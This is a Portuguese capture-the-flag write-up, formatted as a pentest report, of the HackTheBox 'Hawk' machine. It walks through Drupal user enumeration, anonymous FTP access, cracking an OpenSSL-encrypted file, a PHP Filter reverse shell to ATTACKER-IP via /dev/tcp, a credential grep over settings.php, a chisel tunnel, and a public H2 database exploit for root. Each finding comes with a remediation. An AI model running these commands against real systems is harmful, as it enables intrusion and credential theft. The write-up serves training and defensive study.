Documentação: Hawk CTF
Tabela de Conteúdos
ToggleRelatório de pentest, apresentado pela Behind Security, como parte da série Road to OSCP. O foco de hoje é o desafio Hawk CTF da HackTheBox.
Hawk CTF
O Hawk CTF é uma máquina de dificuldade média a difícil, que oferece excelente prática em pentest de Drupal. A instalação explorável do H2 DBMS também é realista, já que consoles SQL baseados na web (como o RavenDB, etc.) são encontrados em muitos ambientes. O desafio de decifração OpenSSL aumenta a dificuldade desta máquina.
HackTheBox
O Hack The Box fornece às pessoas, empresas e universidades as ferramentas necessárias para melhorar continuamente suas capacidades de cibersegurança - tudo em um único lugar.
BEHIND SECURITY
A Behind Security é uma plataforma online dedicada a fornecer artigos informativos sobre cibersegurança, privacidade e programação.
Resumo Executivo
Introdução
Este documento apresenta os resultados de uma avaliação de segurança realizada na máquina do Hawk CTF (IP: 10.10.10.102). O relatório fornece uma análise abrangente das descobertas, incluindo explicações de vulnerabilidades, classificações de gravidade e passos para reproduzir as vulnerabilidades identificadas.
Objetivo
A avaliação buscou identificar vulnerabilidades que poderiam potencialmente levar a acesso não autorizado, comprometimento de dados ou escalonamento de privilégios. Ao conduzir cenários controlados de exploração, a avaliação tinha como objetivo destacar o impacto dessas vulnerabilidades e fornecer recomendações acionáveis para remediação.
Requisitos
A avaliação foi conduzida com os seguintes requisitos em mente:
- Identificar vulnerabilidades na instalação do Drupal CMS.
- Explorar vulnerabilidades para demonstrar o impacto potencial.
- Avaliar a eficácia dos controles de acesso e mecanismos de autenticação.
- Demonstrar escalonamento de privilégios de nível de usuário para root.
- Fornecer explicações detalhadas sobre vulnerabilidades, classificações de gravidade e recomendações de remediação.
Resumo de Alto Nível
A avaliação revelou várias vulnerabilidades na máquina Hawk:
- Enumeração de Usuário através da Mensagem de Erro de Redefinição de Senha (Gravidade Moderada)
- Credenciais Expostas via Descriptografia de
.drupal.txt.enc
(Gravidade Alta) - Acesso Inicial através do Módulo PHP Filter no Drupal CMS (Gravidade Alta)
- Divulgação de Credenciais em Texto Claro que levou a Escalonamento de Privilégios para o usuário "daniel" (Gravidade Alta)
- Software Desatualizado que levou a Escalonamento de Privilégios para root - Console do Banco de Dados H2 (Gravidade Extrema)
Descobertas Detalhadas
Explicações detalhadas sobre vulnerabilidades, correções de vulnerabilidades, classificações de gravidade e etapas para reproduzir as vulnerabilidades identificadas estão documentadas na seção "Desafio Independente".
Recomendações
Com base nas descobertas da avaliação, as seguintes recomendações são aconselhadas para aprimorar a postura de segurança da máquina Hawk:
- Segurança do CMS: Remova módulos desnecessários, como o Módulo PHP Filter, para reduzir a superfície de ataque. Implemente a autenticação de dois fatores (2FA).
- Práticas Inseguras Relacionadas a Credenciais: Imponha políticas de senha fortes e evite a reutilização de senhas, revise e melhore a criptografia e o armazenamento de arquivos sensíveis contendo credenciais.
- Segurança do FTP: Implemente controles de acesso adequados para o serviço FTP.
- Atualize o Console do Banco de Dados H2: Atualize regularmente o Banco de Dados H2 para a versão mais recente para mitigar vulnerabilidades conhecidas.
Metodologia
O teste de penetração da Behind Security seguiu uma metodologia abrangente e estruturada, incorporando as seguintes fases-chave:
Reconhecimento: A fase inicial envolveu a coleta de informações sobre portas abertas.
Enumeração: Nesta fase, a Behind Security conduziu uma enumeração detalhada do sistema-alvo, identificando serviços expostos, diretórios do servidor web e pontos de entrada potenciais para análises adicionais.
Avaliação de Vulnerabilidade: Foram empregadas ferramentas de varredura automatizadas e técnicas manuais para identificar potenciais vulnerabilidades de segurança na aplicação web e na configuração do servidor.
Exploração: Vulnerabilidades que representavam riscos significativos foram exploradas para verificar seu impacto na segurança do sistema.
Pós-Exploração: Na fase final, a Behind Security tentou escalar privilégios e obter acesso mais profundo ao sistema, simulando cenários de ataque do mundo real.
Legenda de Cores
Legenda de cores do console:
Texto padrão do console
Comandos inseridos pelo testador de penetração
Texto que desejamos destacar
{...} Saída abreviada para brevidade
Classificação de Risco
Desafio Independente - 10.10.10.102
Enumeração de Serviços
Endereço IP | Portas Abertas |
---|---|
10.10.10.102 | TCP: 21, 22, 80, 5435, 8082, 9092 |
Enumeração do Servidor Web (TCP: 80)
Executando Apache httpd 2.4.29.
Enumeração do CMS
A ferramenta droopescan identificou plugins, temas e possíveis informações de versão, incluindo a URL de login padrão do admin. O comando usado foi: droopescan scan drupal -u http://10.10.10.102
Enumeração de Nomes de Usuário
Explicação da Vulnerabilidade: A mensagem de erro da aplicação web durante uma solicitação de redefinição de senha (em /user/password) expõe nomes de usuário válidos no sistema. Isso fornece aos atacantes uma lista de contas válidas, facilitando ataques direcionados.
Correção da Vulnerabilidade: Modificar a mensagem de erro para evitar a divulgação de nomes de usuário válidos. Implementar tratamento adequado de erros e validação.
Severidade: Moderada
Passos para Reproduzir a Descoberta:
- Execute o comando:
wfuzz -d "name=FUZZ&form_build_id=form-0SR6gkn5bmPLfm6PeBEdlOna5oOMAsN2YUFI21ja-iM&form_id=user_pass&op=E-mail+new+password" -w /usr/share/seclists/Usernames/Names/names.txt -H "Content-Type: application/x-www-form-urlencoded" --hc 200 http://10.10.10.102/user/password
- Analise as respostas para identificar nomes de usuário válidos.
Enumeração do FTP (TCP: 21)
Login Anônimo e Vazamento de Dados
Explicação da Vulnerabilidade: O login anônimo está habilitado no servidor FTP, permitindo acesso não autorizado. Um arquivo criptografado .drupal.txt.enc
contendo dados potencialmente sensíveis foi descoberto. Após baixar o arquivo, a Behind Security conseguiu quebrá-lo usando uma ferramenta chamada "bruteforce-salted-openssl" e revelar as credenciais do usuário admin do Drupal CMS.
Correção da Vulnerabilidade: Desative o login anônimo no FTP. Reveja e melhore a criptografia e o armazenamento de arquivos sensíveis.
Severidade: Alta
Passos para Reproduzir o Ataque:
- Acesse o servidor FTP aproveitando a capacidade de login anônimo. Para fazer isso, digite o comando
ftp [email protected]
e pressione Enter quando solicitado a senha. - Baixe o arquivo criptografado em
messages/.drupal.txt.enc
. - Decode a partir do base64 e salve em outro arquivo executando o comando:
cat .drupal.txt.enc | base64 -d > drupal.txt
- Localmente, quebre a senha de decodificação usando o comando:
bruteforce-salted-openssl -f /usr/share/wordlists/rockyou.txt -d SHA256 -t 5 drupal.txt
- Após obter a senha de decodificação (
REDACTED
), use-a para recuperar o conteúdo do arquivo. O comando é:openssl enc -aes-256-cbc -d -in drupal.txt -out decrypted.txt -k friends
- Agora você pode fazer login como admin usando a senha (
REDACTED
) no Drupal CMS na porta 80.
Acesso Inicial - Enganando o CMS para Executar Código PHP Malicioso
Explicação da Vulnerabilidade: A Behind Security obteve acesso ao CMS Drupal como administrador e explorou o Módulo PHP Filter para executar código PHP malicioso.
Correção da Vulnerabilidade: Desative completamente o Módulo PHP Filter e conduza uma revisão minuciosa das permissões de usuário para evitar a execução não autorizada de código.
Gravidade: Alta
Passos para Reproduzir o Ataque:
- Faça login como administrador com a senha previamente descoberta.
- Vá para Módulos -> (Marque) PHP Filter -> Salvar configuração.
- Em seguida, Adicionar conteúdo -> Selecione Página Básica ou Artigo e insira código php malicioso no corpo. Neste caso,
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER-IP/PORT 0>&1 '"); ?>
- Selecione Código PHP no formato de Texto e depois selecione Visualização.
Pós-Exploração
Escalada de Privilégios para "daniel"
Explicação da Vulnerabilidade: A Behind Security conduziu uma enumeração mais detalhada e descobriu credenciais para um usuário chamado "daniel" ao analisar arquivos de configuração relacionados ao CMS Drupal.
Correção da Vulnerabilidade: Imponha credenciais únicas e fortes para cada conta de usuário. Evite reutilizar senhas em diferentes serviços.
Gravidade: Alta
Passos para Reproduzir o Ataque:
- A Behind Security executou o seguinte comando:
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
- As credenciais para o usuário "daniel" foram identificadas.
- A Behind Security conseguiu fazer login via SSH como
[email protected]
, especificando a senha:REDACTED
Escalada de Privilégios para root
Explicação da Vulnerabilidade: A Behind Security estabeleceu um túnel TCP usando a ferramenta "chisel" e explorou uma vulnerabilidade na versão 1.4.196 do H2 Database para obter acesso de root.
Correção da Vulnerabilidade: Atualize e aplique patches regularmente em componentes de software, incluindo bancos de dados, para corrigir vulnerabilidades conhecidas.
Gravidade: Extrema
Passos para Reproduzir o Ataque:
- A Behind Security estabeleceu um túnel TCP entre sua máquina e a máquina da vítima usando a ferramenta chisel:
./chisel server -p 1337 --reverse --socks5 &
(atacante) e./chisel client ATTACKER-IP:1337 R:socks &
(vítima). - A Behind Security acessou o Console do H2 Database (
localhost:8082
) através do túnel. - O atacante explorou a vulnerabilidade do H2 Database usando um exploit público. O comando usado durante o engajamento foi:
proxychains4 python 45506.py -H localhost:8082
Conclusão
A Behind Security executou com sucesso código PHP malicioso no CMS, escalou privilégios para o usuário “daniel” e explorou ainda mais vulnerabilidades no banco de dados H2 para obter acesso de root. Essas descobertas destacam a importância de atualizar e proteger regularmente os componentes de software, implementar controles de acesso adequados e manter práticas fortes de autenticação para mitigar o risco de acesso não autorizado e escalonamento de privilégios. Medidas de remediação devem ser prontamente aplicadas para abordar as vulnerabilidades identificadas e aprimorar a postura de segurança do sistema.
Esperamos que você tenha achado nosso conteúdo útil e convidamos você a explorar mais de nosso site para descobrir outros tópicos interessantes que abordamos. Da cibersegurança à programação, nos esforçamos para fornecer aos nossos leitores as informações mais recentes e relevantes que possam ajudá-los a se manter informados e à frente do cenário. Estamos comprometidos em oferecer a melhor experiência do usuário a você e estamos abertos a feedback e sugestões por meio de nosso formulário de contato. Obrigado por escolher a Behind Security, esperamos vê-lo novamente em breve!